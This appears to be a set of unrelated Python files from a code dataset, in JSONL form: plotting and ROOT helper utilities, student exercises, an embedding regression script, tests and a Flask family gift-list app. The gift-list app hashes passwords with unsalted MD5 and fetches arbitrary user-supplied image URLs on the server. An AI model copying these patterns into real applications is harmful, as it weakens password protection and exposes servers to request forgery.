oosim.on_off_reparam([poi, nuis], hp)\n bw = np.diff(bins)[0]\n\n _sigpdf = pp[1]*sps.norm(*pp[-2]).pdf(xi)\n _bkgpdf = (1-pp[1])*sps.norm(*pp[-1]).pdf(xi)\n ax.plot(xi,pp[0]*bw * _sigpdf)\n ax.plot(xi,pp[0]*bw * _bkgpdf)\n ax.plot(xi, pp[0]*bw * (_sigpdf + _bkgpdf))\n\n\n ax.set_ylim(0,60)\n ax.set_title(f'poi: {poi:.2f}')\n\n ax = axarr[3]\n\n _true = np.array([lrt_func(_d[0],poi)[-1] for _d in data])\n _ml = trained_model(_preprocess_ragged_data(data,False)[0],poi)[:,0].detach().numpy()\n ax.scatter(_ml,_true, alpha = 0.2, c = mle_pois - poi, cmap = 'coolwarm')\n ax.set_ylim(0,10)\n ax.set_xlim(_ml.min()-0.1, _ml.max() + 0.1)\n\n ax = axarr[4]\n xi = np.linspace(0,15)\n pi = sps.chi2(df = 1).pdf(xi)\n ax.hist(_true, bins = xi, density=True)\n ax.plot(xi,pi)\n\n f.set_tight_layout(True)\n","repo_name":"smsharma/hierarchical-inference","sub_path":"utils/plots_wald.py","file_name":"plots_wald.py","file_ext":"py","file_size_in_byte":2417,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"24871961461","text":"from JunoswAna import *\nfrom os.path import exists\nfrom ROOT import TObject, TH1D, TH2D, TGraph\nimport numpy as np\n\n# No speed up from list to tuple!\ndef trans2tuple(indata):\n if not indata or isinstance(indata, tuple):\n return indata\n elif isinstance(indata, dict):\n return {tag:trans2tuple(indata[tag]) for tag in indata}\n elif isinstance(indata, list):\n return tuple(indata)\n else:\n print(f'Warning: unknown input type!')\n\ndef write2root(outf, rtobj):\n if not rtobj:\n pass\n elif isinstance(rtobj, dict):\n for tmpobj in rtobj.values():\n write2root(outf, tmpobj)\n elif isinstance(rtobj, (list, tuple)):\n for tmpobj in rtobj:\n write2root(outf, tmpobj)\n elif isinstance(rtobj, TObject):\n outf.cd()\n rtobj.Write()\n else:\n print(f'Warning: unknown input type!')\n\ndef getCachePath(fname, tp=0):\n types = ('.txt', '.npy')\n def addtail(s):\n return s if s[-4:]==types[tp] else s+types[tp]\n\n if fname[0] == '/' or fname[:2]=='./':\n return addtail(fname)\n else:\n cache_path = '/junofs/users/jiangw/tools/cache'\n specified_names = ( 'elecTruth', )\n for sn in specified_names:\n if sn in fname:\n new_fname = fname.replace(sn, '')\n return addtail(f'{cache_path}/{sn}/{new_fname}')\n return addtail(f'{cache_path}/{fname}')\n\ndef fWriteNum(f, num, width=10):\n if isinstance(num, int):\n f.write(f'{num:>{width}} ')\n else:\n f.write(f'{num:>{width}.2f} ')\n\ndef write2txt(val, oname, width=10):\n outf = getCachePath(oname)\n\n if isinstance(val, (list, tuple)):\n if isinstance(val[0], (list, tuple)):\n # val : [tag, value]\n ntag = len(val)\n n = len(val[0][1])\n with open(outf,'w') as f:\n for i in range(ntag):\n f.write(f'{val[i][0]} ')\n f.write('\\n')\n for j in range(n):\n for i in range(ntag):\n fWriteNum(f, val[i][j], width)\n f.write('\\n')\n elif isinstance(val[0], str):\n n = len(val[1])\n with open(outf,'w') as f:\n f.write(f'{val[0]}\\n')\n for j in range(n):\n fWriteNum(f, val[1][j], width)\n elif isinstance(val, dict):\n tags = tuple(val.keys())\n ntag = len(tags)\n n = len(val[tags[0]])\n with open(outf,'w') as f:\n for i in range(ntag):\n f.write(f'{tags[i]} ')\n f.write('\\n')\n for j in range(n):\n for i in range(ntag):\n fWriteNum(f, val[tags[i]][j], width)\n f.write('\\n')\n else:\n print(f'Warning: unknown input type!')\n\ndef write2npy(val, oname):\n np.save(getCachePath(oname, 1), val)\n\ndef read4txt(iname):\n val = {}\n tags = []\n inf = getCachePath(iname)\n # print('read from ',inf)\n isFirst = True\n if exists(inf):\n with open(inf,'r') as f:\n for line in f:\n infos = line.split()\n if isFirst:\n for tag in infos:\n tags.append(tag)\n val[tag] = []\n isFirst = False\n ntag = len(tags)\n continue\n for i in range(ntag):\n val[tags[i]].append(float(infos[i]))\n else:\n print(f'Warn! {inf} not exist!')\n return trans2tuple(val)\n # val: { tag0:data0, tag1:data1, ... }\n\ndef read4npy(iname):\n inf = getCachePath(iname, 1)\n if exists(inf):\n return np.load(inf)\n else:\n print(f'Warn! {inf} not exist!')\n return np.zeros(0)\n\ndef generateTH1Ds(args, setData=False):\n th1ds = {}\n if isinstance(args, dict):\n # { name:[title, bins, low, up] }\n for name in args:\n cf = args[name]\n th1ds[name] = TH1D(name, cf[0], cf[1], cf[2], cf[3])\n if setData and len(cf[4])==cf[1]:\n for i in range(cf[1]):\n th1ds[name].SetBinContent(i+1, cf[4][i])\n elif isinstance(args, (list, tuple)):\n # [ [name, title, bins, low, up] ]\n for cf in args:\n th1ds[cf[0]] = TH1D(cf[0], cf[1], cf[2], cf[3], cf[4])\n if setData and len(cf[5])==cf[2]:\n for i in range(cf[2]):\n th1ds[cf[0]].SetBinContent(i+1, cf[5][i])\n else:\n print(f'Warning: unknown input type!')\n return th1ds\n\ndef generateTGraphs(args):\n tgraphs = {}\n if isinstance(args, dict):\n for name in args:\n cf = args[name]\n tgraphs[name] = TGraph()\n tgraphs[name].SetNameTitle(name,name)\n if not cf[0]:\n continue\n tgraphs[name].SetMinimum(min_more(cf[1]))\n tgraphs[name].SetMaximum(max_more(cf[1]))\n for i in range(len(cf[0])):\n tgraphs[name].SetPoint(i, cf[0][i], cf[1][i])\n elif isinstance(args, (list, tuple)):\n for cf in args:\n name = cf[0]\n tgraphs[name] = TGraph()\n tgraphs[name].SetNameTitle(name,name)\n if not cf[1]:\n continue\n tgraphs[name].SetMinimum(min_more(cf[2]))\n tgraphs[name].SetMaximum(max_more(cf[2]))\n for i in range(len(cf[1])):\n tgraphs[name].SetPoint(i, cf[1][i], cf[2][i])\n else:\n print(f'Warning: unknown input type!')\n return tgraphs\n\ndef generateTH2Ds(args):\n th2ds = {}\n if isinstance(args, dict):\n for name in args:\n cf = args[name]\n th2ds[name] = TH2D(name, cf[0], cf[1], cf[2], cf[3], cf[4], cf[5], cf[6])\n elif isinstance(args, (list, tuple)):\n for cf in args:\n th2ds[cf[0]] = TH2D(cf[0], cf[1], cf[2], cf[3], cf[4], cf[5], cf[6], cf[7])\n else:\n print(f'Warning: unknown input type!')\n return th2ds\n\ndef generateTProfiles(th2ds, axis='X'):\n tprofiles = {}\n if isinstance(th2ds, dict):\n for name in th2ds:\n tprofiles[name] = th2ds[name].ProfileX() if axis=='X' else th2ds[name].ProfileY()\n elif isinstance(th2ds, (list, tuple)):\n for th2d in th2ds:\n if isinstance(th2d, TH2D):\n tprofiles[th2d.GetName()] = th2d.ProfileX() if axis=='X' else th2d.ProfileY()\n else:\n print(f'Warning: not TH2D object!')\n return {}\n else:\n print(f'Warning: unknown input type!')\n return tprofiles\n\ndef getWF1D(adc, name, title):\n length = adc.size()\n wf1d = TH1D(name, title, length, 0, length)\n wf1d.SetXTitle('time/ns')\n wf1d.SetYTitle('adc')\n for i in range(length):\n wf1d.SetBinContent(i+1, adc[i])\n return wf1d","repo_name":"jiangw425/tools","sub_path":"Python/SaveFiles.py","file_name":"SaveFiles.py","file_ext":"py","file_size_in_byte":6846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74018275628","text":"'''62 - Escreva um programa que leia um número n inteiro\nqualquer e mostre na tela os n primeiros elementos de uma sequência\nde fionacci.\n\nEx: 0 > 1 > 1 > 2 > 3 > 5 > 8.'''\n\nprint('Gerador de PA')\nprint('-='*10)\nprimeiro = int(input('Primeiro termo: '))\nrazao = int(input('Razão da PA: '))\ntermo = primeiro\ncont = 1\ntotal = 0\nmais = 10\nwhile mais != 0:\n total = total + mais\n while cont <= total:\n print('{} => '.format(termo), end='')\n termo += razao\n cont += 1\n print('Pausa')\n mais = int(input('Quantos termos você quer mostar a mais? '))\nprint('Progressão finalizada com {} termos mostrados.'.format(total))\n\n\n","repo_name":"Leownhart/My_Course_of_python","sub_path":"Exercicios/ex062.py","file_name":"ex062.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"73206998508","text":"from gensim.models import KeyedVectors\nimport json\nimport numpy as np\nfrom sklearn.linear_model import LinearRegression\nimport sys\n\n\n# utility function to load data\ndef dataLoad(filename):\n with open(filename, \"r+\") as f:\n data = json.load(f)\n return data\n\n# load data\ntr_en = dataLoad(\"eng_train.json\")\ntr_fr = dataLoad(\"fr_train.json\")\ntst_en = dataLoad(\"eng_test.json\")\ntst_fr = dataLoad(\"fr_test.json\")\n\n# strip training data to two lists of one-D values\nvecs_en = list(map(lambda x: x[1], tr_en))\nvecs_fr = list(map(lambda x: x[1], tr_fr))\n\nmodels = []\n\n# for each dimension\nfor i in range(300):\n\n # initialize scikit-learn's linear regression model\n reg = LinearRegression()\n\n # fetch i'th dimension of all vectors\n dim_fr = list(map(lambda x: [x[i]], vecs_fr))\n dim_en = list(map(lambda x: [x[i]], vecs_en))\n\n # train the model\n reg.fit(dim_fr, dim_en)\n\n # append the trained model to the list of models\n models.append(reg)\n\nfrom joblib import dump, load\n\ndump(models, \"model.joblib\")\n","repo_name":"AdLucem/multilingual-word-embeddings","sub_path":"supervised/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24053738783","text":"#first 3 characters must be any random uppercase alphabet\n#in 4th place P,F,A,C,H,T\n#in 5th place uppercase random alphabet\n#4 digit\n#in last place one random alphabet\n\nfrom re import *\npan_id=input(\"Enter pancard:\")\nrule=\"[A-Z]{3}[PFACHT][A-Z]{1}\\d{4}[A-Z]{1}\"\nm=fullmatch(rule,pan_id)\nprint(\"valid\"if m!=None else\"invalid\")","repo_name":"anju-akhil/python_works_luminar","sub_path":"pythonworks/python_works/regularexpression/pancard.py","file_name":"pancard.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71597666346","text":"# coding: utf8\n\nimport base64\nimport datetime\nimport hashlib\nimport json\nimport os\nimport re\nimport requests\nimport shutil\nimport sys\nimport tempfile\n\nfrom bson import ObjectId\nfrom collections import defaultdict\nfrom io import BytesIO\n\nfrom collections import defaultdict\nfrom pymongo import MongoClient\n\n# from bson import ObjectId\nfrom flask import Flask, request, redirect, render_template, flash, session, abort, g\nfrom werkzeug.datastructures import ImmutableMultiDict\nfrom werkzeug.wrappers import Response\n\napp = Flask(__name__)\napp.secret_key = os.urandom(12)\n\n\nwith app.app_context():\n\n class FormatException(Exception):\n pass\n\n\n def get_db():\n if not hasattr(g, 'db'):\n db_name = 'mongo%s' % ('_prod' if os.environ.get('ENV') == 'prod' else '')\n client = MongoClient(db_name, 27017)\n db = client.data\n g.db = db\n return g.db\n\n\n def create_response(error=False, message=\"\", status_code=200, extra_response=None):\n response = {\n \"error\": error,\n \"message\": message\n }\n if extra_response:\n response.update(extra_response)\n\n r = Response(json.dumps(response), mimetype='application/json')\n r.status_code = status_code\n\n return r\n\n def format_update_data(raw_data):\n update_data = {}\n\n if raw_data.get('price'):\n m = re.match(r\"^[0-9]*([,|.]{0,1}[0-9]+)\", raw_data[\"price\"])\n price = float(m.group(0).replace(',', '.'))\n\n if price == 0:\n raise Exception(\"Les cadeaux gratuits ne sont toujours pas gérés ! (mettez un euro symbolique)\")\n\n update_data['price'] = price\n update_data['remaining_price'] = price\n\n if raw_data['title']:\n update_data['title'] = raw_data['title']\n\n if raw_data['location']:\n update_data['location'] = raw_data['location']\n\n if raw_data['link']:\n update_data[\"url\"] = raw_data[\"link\"]\n\n if raw_data['image']:\n update_data[\"image\"] = format_image_data(raw_data['image'])\n\n return update_data\n\n\n def format_gift_data(raw_data):\n '''\n formatting user input\n raw gift data {'title': ['truc'], 'price': [''], 'location': [''], 'link': [''], 'image': ['']}\n TODO: fix image storing, putting the image in mongodb was pretty shitty anyway (store md5 and url + put image on file storage)\n '''\n\n m = re.match(r\"^[0-9]*([,|.]{0,1}[0-9]+)\", raw_data[\"price\"])\n price = float(m.group(0).replace(',', '.'))\n\n if price == 0:\n raise Exception(\"Les cadeaux gratuits ne sont pas encore gérés ! (mettez un euro symbolique)\")\n\n gift_data = {\n \"title\": raw_data[\"title\"],\n \"price\": price,\n \"location\": raw_data[\"location\"]\n }\n\n gift_data[\"remaining_price\"] = gift_data[\"price\"]\n\n # TODO check urls\n gift_data[\"url\"] = raw_data[\"link\"]\n\n # image\n gift_data[\"image\"] = format_image_data(raw_data.get('image'))\n\n return gift_data\n\n\n def format_image_data(image_field):\n if not image_field:\n return 'gift'\n\n elif image_field.startswith('data:image/') and ';base64,' in image_field:\n # data:image/jpeg;base64 style images in URL\n b64code = image_field.split(';base64,')[1]\n imagename = hashlib.md5(b64code.encode('utf-8')).hexdigest()\n imagepath = os.path.join('/app/images', imagename + '.png')\n with open(imagepath, \"wb\") as fh:\n fh.write(base64.b64decode(b64code))\n return imagename\n\n else:\n imagename = hashlib.md5(image_field.encode('utf-8')).hexdigest()\n imagepath = os.path.join('/app/images', imagename + '.png')\n\n r = requests.get(image_field, stream=True)\n if r.status_code == 200:\n with open(imagepath, 'wb') as f:\n r.raw.decode_content = True\n shutil.copyfileobj(r.raw, f)\n\n return imagename\n else:\n return 'gift'\n\n\n def count_remaining_gifts(userid):\n '''\n gifts: key: user / value: remaining gifts for this user\n counters: various gift counters for shortcuts\n '''\n db = get_db()\n\n user = db.users.find_one({'_id': ObjectId(userid)})\n user_families = user['families']\n\n gifts = defaultdict(lambda: 0)\n counters = defaultdict(lambda: 0)\n for gift in db.gifts.find({\"owner_families\": {\"$in\": user_families}}):\n # we don't give hints about user's gifts!\n if str(gift[\"owner\"]) == str(userid):\n continue\n\n if 'price' not in gift:\n continue\n\n if gift[\"remaining_price\"] > 0:\n gifts[str(gift[\"owner\"])] += 1\n\n if gift[\"remaining_price\"] == gift[\"price\"]:\n counters[\"fully_available\"] += 1\n else:\n counters[\"partially_available\"] += 1\n\n else:\n counters[\"gifted\"] += 1\n\n if str(userid) in [str(participation[\"user\"]) for participation in gift.get(\"participations\", [])]: # meh\n counters[\"user_participated\"] += 1\n\n return gifts, counters\n\n\n def get_common_info(sess):\n '''\n Gets general display info such as:\n - every people you can see (filtered by family visibility)\n - their gift counters\n '''\n info = {\n \"userid\": sess.get('logged_as'),\n \"username\": sess.get('display_name')\n }\n\n db = get_db()\n\n user = db.users.find_one({'_id': ObjectId(sess.get('logged_as'))})\n user_families = user['families']\n\n people = list()\n gifts, counters = count_remaining_gifts(sess.get('logged_as'))\n for user in db.users.find({\"families\": {\"$in\": user_families}}):\n people.append({\n \"name\": user[\"name\"],\n \"userid\": str(user[\"_id\"]),\n \"remaining_gifts\": gifts.get(str(user[\"_id\"]), 0)\n })\n info[\"people\"] = people\n info[\"counters\"] = counters\n\n return info\n\n\n def message_template(sess, message_type, message):\n template_data = get_common_info(sess)\n template_data[\"message_type\"] = message_type\n template_data[\"message_content\"] = message\n return render_template('message.html', **template_data)\n\n\n def delete_message_template(sess, gift_id):\n template_data = get_common_info(sess)\n template_data[\"giftid\"] = gift_id\n return render_template('message_delete.html', **template_data)\n\n\n def format_gift(db_gift):\n '''\n input: gift object from db\n output: dict formatted for frontend template\n '''\n db = get_db()\n user = db.users.find_one({\"_id\": db_gift[\"owner\"]})\n\n template_gift = {k: v for k, v in db_gift.items() if k in [\"title\", \"price\", \"location\", \"url\", \"remaining_price\", \"participations\"]}\n\n template_gift['owner'] = str(user['_id'])\n template_gift['owner_name'] = user[\"name\"]\n template_gift['_id'] = str(db_gift[\"_id\"])\n\n # image\n imagepath = os.path.join('/app/images', db_gift['image']) + '.png'\n with open(imagepath, \"rb\") as f_img:\n encoded_string = base64.b64encode(f_img.read())\n template_gift['image'] = encoded_string.decode() # TODO check if we can use the .read() directly?\n\n if 'price' in db_gift:\n price = db_gift['price']\n # if price is int then drop the decimal part\n if int(price) == price:\n template_gift['price'] = '~ ' + str(int(price))\n\n return template_gift\n\n\n def render_giftlist(session, gifts, title):\n '''\n renders the giftlist or a generic message if there is no gift to display\n '''\n\n if len(gifts):\n template_data = get_common_info(session)\n template_data[\"gifts\"] = gifts\n template_data[\"title\"] = title\n return render_template('giftlist.html', **template_data)\n\n else:\n return message_template(session, \"info\", \"Il n'y a pas de cadeaux à afficher ici !\")\n\n\n @app.route('/')\n def index():\n if not session.get('logged_in'):\n return render_template('login.html')\n else:\n return redirect(\"/home\", code=302)\n\n\n @app.route('/home')\n def home():\n if not session.get('logged_in'):\n return redirect(\"/\", code=302)\n\n else:\n template_data = get_common_info(session)\n return render_template('home.html', **template_data)\n\n\n @app.route('/addgift')\n def addgift():\n if not session.get('logged_in'):\n return redirect(\"/\", code=302)\n\n else:\n template_data = get_common_info(session)\n return render_template('addgift.html', **template_data)\n\n\n @app.route('/addgift', methods=['POST'])\n def insertgift():\n\n if not session.get('logged_in'):\n return redirect(\"/\", code=302)\n\n db = get_db()\n content = request.form.to_dict(flat=True)\n # print(\"raw gift data %s\" % str(content), file=sys.stderr)\n\n # we copy family for each gift for easier counting / filtering\n user = db.users.find_one({'_id': ObjectId(session.get('logged_as'))})\n user_families = user['families']\n\n try:\n gift_data = format_gift_data(content)\n gift_data[\"owner\"] = ObjectId(session.get('logged_as'))\n gift_data[\"owner_families\"] = user_families\n db.gifts.insert(gift_data)\n except Exception as e:\n return message_template(session, \"danger\", \"Il y a eu une erreur dans le format de vos données, veuillez réessayer. \\n %s\" % str(e))\n\n return message_template(session, \"success\", \"Souhait ajouté !\")\n\n\n @app.route('/addsurprise')\n def addsurprise():\n if not session.get('logged_in'):\n return redirect(\"/\", code=302)\n\n db = get_db()\n\n # we copy family for each gift for easier counting / filtering\n user = db.users.find_one({'_id': ObjectId(session.get('logged_as'))})\n user_families = user['families']\n\n try:\n gift_data = {\n 'title': 'Faites-moi une surprise!',\n 'location': 'Votre imagination',\n 'image': 'surprise',\n 'owner': ObjectId(session.get('logged_as')),\n 'owner_families': user_families\n }\n\n db.gifts.insert(gift_data)\n except Exception as e:\n return message_template(session, \"danger\", \"Il y a eu une erreur dans le format de vos données, veuillez réessayer. \\n %s\" % str(e))\n\n return message_template(session, \"success\", \"Surprise ajoutée !\")\n\n\n @app.route('/giftlist/user/<userid>', methods=[\"GET\"])\n def listgifts(userid):\n '''\n Lists gifts for a perticular user\n '''\n if not session.get('logged_in'):\n return redirect(\"/\", code=302)\n\n db = get_db()\n user = db.users.find_one({\"_id\": ObjectId(userid)})\n\n gifts = list()\n for gift in db.gifts.find({\"owner\": ObjectId(userid)}):\n template_gift = format_gift(gift)\n gifts.append(template_gift)\n\n return render_giftlist(session, gifts, \"Les souhaits de %s\" % user[\"name\"])\n\n\n @app.route('/giftlist/available', methods=[\"GET\"])\n def list_available():\n '''\n Lists all available gifts\n (filtered by family visibility)\n '''\n if not session.get('logged_in'):\n return redirect(\"/\", code=302)\n\n db = get_db()\n\n user = db.users.find_one({'_id': ObjectId(session.get('logged_as'))})\n user_families = user['families']\n\n gifts = list()\n for gift in db.gifts.find({\"owner_families\": {\"$in\": user_families}}):\n if str(gift[\"owner\"]) == session.get('logged_as') or ('price' not in gift):\n continue\n\n if gift[\"remaining_price\"] == gift[\"price\"]:\n template_gift = format_gift(gift)\n gifts.append(template_gift)\n\n return render_giftlist(session, gifts, \"Les souhaits disponibles\")\n\n\n @app.route('/giftlist/completed', methods=[\"GET\"])\n def list_completed():\n if not session.get('logged_in'):\n return redirect(\"/\", code=302)\n\n db = get_db()\n\n user = db.users.find_one({'_id': ObjectId(session.get('logged_as'))})\n user_families = user['families']\n\n gifts = list()\n for gift in db.gifts.find({\"owner_families\": {\"$in\": user_families}}):\n if str(gift[\"owner\"]) == session.get('logged_as') or ('price' not in gift):\n continue\n\n if gift[\"remaining_price\"] == 0:\n template_gift = format_gift(gift)\n gifts.append(template_gift)\n\n return render_giftlist(session, gifts, \"Les souhaits déjà offerts\")\n\n\n @app.route('/giftlist/started', methods=[\"GET\"])\n def list_started():\n '''\n Route for listing gifts that are partly gifted\n '''\n if not session.get('logged_in'):\n return redirect(\"/\", code=302)\n\n db = get_db()\n\n user = db.users.find_one({'_id': ObjectId(session.get('logged_as'))})\n user_families = user['families']\n\n gifts = list()\n for gift in db.gifts.find({\"owner_families\": {\"$in\": user_families}}):\n if (str(gift[\"owner\"]) == session.get('logged_as')) or ('price' not in gift):\n continue\n\n if gift[\"remaining_price\"] > 0 and gift[\"remaining_price\"] < gift[\"price\"]:\n template_gift = format_gift(gift)\n gifts.append(template_gift)\n\n return render_giftlist(session, gifts, \"Les souhaits où il manque une contribution\")\n\n\n @app.route('/giftlist/participated/<userid>', methods=[\"GET\"])\n def list_participated(userid):\n '''\n Route for gifts where the user has contributed\n '''\n if not session.get('logged_in'):\n return redirect(\"/\", code=302)\n\n db = get_db()\n\n user = db.users.find_one({'_id': ObjectId(session.get('logged_as'))})\n user_families = user['families']\n\n gifts = list()\n for gift in db.gifts.find({\"owner_families\": {\"$in\": user_families}}):\n if str(gift[\"owner\"]) == session.get('logged_as'):\n continue\n\n if str(userid) in [str(participation[\"user\"]) for participation in gift.get(\"participations\", [])]:\n template_gift = format_gift(gift)\n gifts.append(template_gift)\n\n return render_giftlist(session, gifts, \"Les souhaits auxquels j'ai participé\")\n\n\n @app.route('/participate', methods=[\"POST\"])\n def participate():\n '''\n TODO: manage concurrency when we have a big enough family lol\n '''\n if not session.get('logged_in'):\n return redirect(\"/\", code=302)\n\n db = get_db()\n data = request.form.to_dict(flat=True)\n print(\"participation data %s\" % str(data), file=sys.stderr)\n if \"amount\" not in data or \"gift_id\" not in data:\n return message_template(session, \"danger\", \"participation must contain 'participation' and 'gift_id'!\")\n\n gift = db.gifts.find_one({\"_id\": ObjectId(data[\"gift_id\"])})\n if not gift:\n return message_template(session, \"danger\", \"invalid gift_id\")\n\n try:\n if float(data[\"amount\"]) > gift[\"remaining_price\"]:\n return message_template(session, \"danger\", \"invalid participation! Amount must be less than the remaining price of the gift\")\n except ValueError as e:\n return message_template(session, \"danger\", \"participation must be a valid number\")\n\n db.gifts.update_one({\"_id\": ObjectId(data[\"gift_id\"])}, {\n \"$set\": {\"remaining_price\": round(gift[\"remaining_price\"] - float(data[\"amount\"]), 2)},\n \"$push\": {\"participations\": {\"user\": ObjectId(session.get('logged_as')), \"name\": session.get('display_name'), \"amount\": data[\"amount\"]}}\n })\n\n return message_template(session, \"success\", \"Votre participation a bien été enregistrée !\")\n\n\n @app.route('/deletegift/<giftid>', methods=[\"GET\"])\n def deletegift(giftid):\n '''\n Delete a particular gift: cannot delete if someone already made a contribution\n '''\n if not session.get('logged_in'):\n return redirect(\"/\", code=302)\n\n db = get_db()\n\n gift = db.gifts.find_one({\"_id\": ObjectId(giftid)})\n if not gift:\n return message_template(session, \"danger\", \"Le cadeau n'existe pas !\")\n\n elif str(gift['owner']) != session['logged_as']:\n return message_template(session, \"danger\", \"Vous ne pouvez pas supprimer un cadeau qui n'est pas à vous !\")\n\n elif 'price' in gift and gift[\"remaining_price\"] != gift[\"price\"]:\n return delete_message_template(session, giftid)\n else:\n db.gifts.delete_one({\"_id\": ObjectId(giftid)})\n return message_template(session, \"success\", \"Cadeau supprimé\")\n\n\n @app.route('/forcedelete/<giftid>', methods=[\"GET\"])\n def forcedeletegift(giftid):\n '''\n Force delete a particular gift: for when we got the gift\n '''\n if not session.get('logged_in'):\n return redirect(\"/\", code=302)\n\n db = get_db()\n\n gift = db.gifts.find_one({\"_id\": ObjectId(giftid)})\n if not gift:\n return message_template(session, \"danger\", \"Le cadeau n'existe pas !\")\n\n elif str(gift['owner']) != session['logged_as']:\n return message_template(session, \"danger\", \"Vous ne pouvez pas supprimer un cadeau qui n'est pas à vous !\")\n\n else:\n db.gifts.delete_one({\"_id\": ObjectId(giftid)})\n return message_template(session, \"success\", \"Cadeau supprimé\")\n\n\n @app.route('/updategift/<giftid>', methods=[\"GET\"])\n def updategiftform(giftid):\n if not session.get('logged_in'):\n return redirect(\"/\", code=302)\n\n db = get_db()\n\n gift = db.gifts.find_one({\"_id\": ObjectId(giftid)})\n if not gift:\n return message_template(session, \"danger\", \"Le cadeau n'existe pas !\")\n\n elif str(gift['owner']) != session['logged_as']:\n return message_template(session, \"danger\", \"Vous ne pouvez pas supprimer un cadeau qui n'est pas à vous !\")\n\n else:\n template_data = get_common_info(session)\n template_data['gift'] = gift\n template_data['disabled'] = 'disabled' if gift['price'] != gift['remaining_price'] else ''\n\n return render_template('updategift.html', **template_data)\n\n\n @app.route('/updategift/<giftid>', methods=[\"POST\"])\n def updategift(giftid):\n if not session.get('logged_in'):\n return redirect(\"/\", code=302)\n\n db = get_db()\n\n gift = db.gifts.find_one({\"_id\": ObjectId(giftid)})\n if not gift:\n return message_template(session, \"danger\", \"Le cadeau n'existe pas !\")\n\n elif str(gift['owner']) != session['logged_as']:\n return message_template(session, \"danger\", \"Vous ne pouvez pas supprimer un cadeau qui n'est pas à vous !\")\n\n else:\n content = request.form.to_dict(flat=True)\n print(\"raw gift data %s\" % str(content), file=sys.stderr)\n\n try:\n update_data = format_update_data(content)\n\n db.gifts.update_one({\"_id\": ObjectId(giftid)}, {\"$set\": update_data})\n except Exception as e:\n return message_template(session, \"danger\", f\"Erreur lors de la mise à jour {str(e)}\")\n\n return message_template(session, \"success\", \"Cadeau mis à jour\")\n\n\n @app.route('/login', methods=['POST'])\n def login():\n '''\n check md5 hash of password\n '''\n db = get_db()\n\n user = db.users.find_one({\"username\": request.form['username']})\n if not user:\n flash('Unknown user %s' % request.form['username'])\n elif hashlib.md5(request.form['password'].encode('utf-8')).hexdigest() == user['password']:\n session['logged_in'] = True\n session['logged_as'] = str(user['_id'])\n session['display_name'] = user['name']\n else:\n flash('Wrong password!')\n\n return redirect(\"/home\", code=302)\n\n\n @app.route(\"/logout\")\n def logout():\n session['logged_in'] = False\n session['logged_as'] = None\n session['display_name'] = None\n return redirect(\"/\", code=302)\n","repo_name":"lcalem/family-presents","sub_path":"src/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":20870,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"11996690817","text":"from equation import FuncPlot\nimport numpy as np\nimport pytest\n\n\n@pytest.mark.parametrize('min_x,max_x,func,x,y' , [\n (0,200,'2*x',np.linspace(0,200,200),2*np.linspace(0,200,200)),\n (-100,100,\"5\",np.linspace(-100,100,200),5*np.ones(200)),\n (-100,100,\"x^2 + 3\",np.linspace(-100,100,200),np.square(np.linspace(-100,100,200))+3)\n\n])\n\ndef test_plot(min_x,max_x,func,x,y):\n data = FuncPlot(min_x,max_x,func)\n x_axis = data.x == x\n assert x_axis.all()\n y_axis = data.y == y\n assert y_axis.all()\n","repo_name":"ahmedelbadawy/Function-Plotter-","sub_path":"test_equation.py","file_name":"test_equation.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}